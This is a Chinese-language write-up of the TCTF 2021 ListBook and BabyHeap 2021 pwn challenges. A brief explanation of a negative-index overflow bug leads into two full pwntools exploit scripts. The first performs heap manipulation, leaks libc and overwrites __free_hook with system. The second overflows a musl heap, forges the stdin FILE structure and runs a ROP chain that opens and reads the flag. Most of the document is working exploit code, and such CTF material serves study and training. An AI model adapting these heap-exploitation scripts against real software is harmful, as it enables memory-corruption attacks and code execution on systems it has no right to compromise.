TCTF 2021 ListBook、BabyHeap 2021 Writeup

警告
本文最后更新于 2021-08-19,文中内容可能已过时。

ListBook

image.png

有 Add、Delete、Show、Exit 四个功能,其中在 Add 函数中存在向前溢出的漏洞

image.png

在 get_index 函数中

image.png

对 name 的数据相加,然后求绝对值后再对 16 去余数。

当求出的 sum 为 0x80 的时候,由于 char 的数据范围是(-128~127),所以取绝对值后无法被表示,数据被保留,这时候就造成了一个负数的索引,导致后续的向前溢出。并且因为向前溢出可以让 malloc 得到的指针向前覆盖到 use_flag 数组的数据,这使得程序可以 double free。但是由于 程序是 glibc2.31,有用 key 来对 double free 的情况进行检测,这里无法简单的利用 double free 漏洞。

这里的思路是,让释放的 0x200 数据

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
from pwn import *

elf = None
libc = None
file_name = "./listbook"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = None
    try:
        data = os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info = i.split("=>")
            if len(libc_info) == 2:
                if "libc" in libc_info[0]:
                    libc_path = libc_info[1].split(' (')
                    if len(libc_path) == 2:
                        libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch == 'amd64':
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch == 'i386':
        try:
            libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc = ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter(">>", str(idx))


def add(name, content='sh\x00'):
    choice(1)
    if len(name) == 0x10:
        sh.sendafter("name>", str(name))
    else:
        sh.sendlineafter("name>", str(name))
    sh.sendlineafter("content>", str(content))


def delete(idx):
    choice(2)
    sh.sendlineafter("index>", str(idx))



def show(idx):
    choice(3)
    sh.sendlineafter("index>", str(idx))


def pwn(sh, elf, libc):
    #context.log_level = "debug"
    libc_base = 0
    for i in range(9):
        for j in range(7):
            add(chr(14))
        add('\x00')
        delete(0)
        add(chr(i + 1))
        add('\x80')
        delete(14)
        delete(0)
        if libc_base == 0:
            show(1)
            libc_base = get_address(sh, True, offset=-0x1ebbe0, info="libc_base:\t")
        for i in range(5):
            add(chr(15))
    add('\x80')
    for i in range(7):
        delete(i + 1)
    delete(9)
    delete(8)
    delete(0)

    libc.address = libc_base
    for i in range(10):
        add(p64(libc.sym['__free_hook']))
    add(p64(libc.sym['system']))
    delete(15)
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

BabyHeap 2021

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
from pwn import *

elf = None
libc = None
file_name = "./babyheap"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    libc = ELF('/lib/x86_64-linux-musl/libc.so')
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag


def choice(idx):
    sh.sendlineafter("Command: ", str(idx))


def add(size, content='wjh'):
    choice(1)
    sh.sendlineafter("Size: ", str(size))
    sh.sendlineafter("Content: ", str(content))


def edit(idx, size, content):
    choice(2)
    sh.sendlineafter("Index: ", str(idx))
    sh.sendlineafter("Size: ", str(size))
    sh.sendlineafter("Content: ", str(content))


def delete(idx):
    choice(3)
    sh.sendlineafter("Index: ", str(idx))


def show(idx):
    choice(4)
    sh.sendlineafter("Index: ", str(idx))




def pwn(sh, elf, libc):
    #print elf.sym
    context.log_level = "debug"
    add(0x100) #0
    add(0x100) #1
    add(0x100) #2
    add(0x100) #3
    edit(0, 0xFFFFFFFF, 'a' * 0x110 + p64(0x121) + p64(0x241) + 'b' * 0x110 + p64(0x241) + p64(0x121) + 'c' * 0x110 + '\x41\x02')

    #delete(2)
    delete(1)
    add(0x100) #1
    add(0x100) #4
    delete(2)
    show(4)
    libc_base = get_address(sh, True, info="libc_base:\t", offset=-0xb0b00)
    stdin_addr = libc_base + 0xb0280 - 0x110
    edit(4, 0x10, p64(stdin_addr) * 2)
    add(0x100) #2
    delete(2)

    edit(4, 0x10, p64(stdin_addr) + p64(libc_base + 0xb0b00))
    add(0x100) #2
    add(0x100) #5

    fake_frame_addr = stdin_addr
    puts_addr = libc_base + 0x5eed0
    pop_rdi_addr = libc_base + 0x0000000000015291
    leave_ret_addr = libc_base + 0x0000000000016992
    pop_rax_addr = libc_base + 0x0000000000016a16
    syscall_addr = libc_base + 0x0000000000023720
    pop_rsi_addr = libc_base + 0x000000000001d829
    read_addr = libc_base + 0x72d10
    pop_rdx_addr = libc_base + 0x000000000002cdda

    rop_data = [
        0,
        pop_rax_addr,  # sys_open('flag', 0)
        2,
        pop_rdi_addr,
        stdin_addr + 0xF0,
        syscall_addr,
        pop_rdx_addr,
        0,
        pop_rdx_addr,
        0x30,
        pop_rdi_addr,
        3,
        pop_rsi_addr,
        fake_frame_addr + 0x200,
        read_addr,
        pop_rdi_addr,
        fake_frame_addr + 0x200,
        puts_addr
    ]
    rop_str = flat(rop_data)
    payload = p64(stdin_addr + 0x60) # stdin->flags
    payload += p64(leave_ret_addr)
    payload += 'X' * 0x18
    payload += p64(0xdeadbeef)  # stdin->wpos
    payload += 'X' * 8
    payload += p64(0xbeefdead)  # stdin->wbase
    payload += 'X' * 8
    payload += p64(leave_ret_addr)   # stdin->write
    payload += rop_str
    payload = payload.ljust(0xE0, '\x00') + 'flag'

    edit(5, 0xFFFFFFFF, payload)
    choice(5)
    #gdb.attach(sh, "b *" + hex(leave_ret_addr))
    sh.interactive()


if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
0%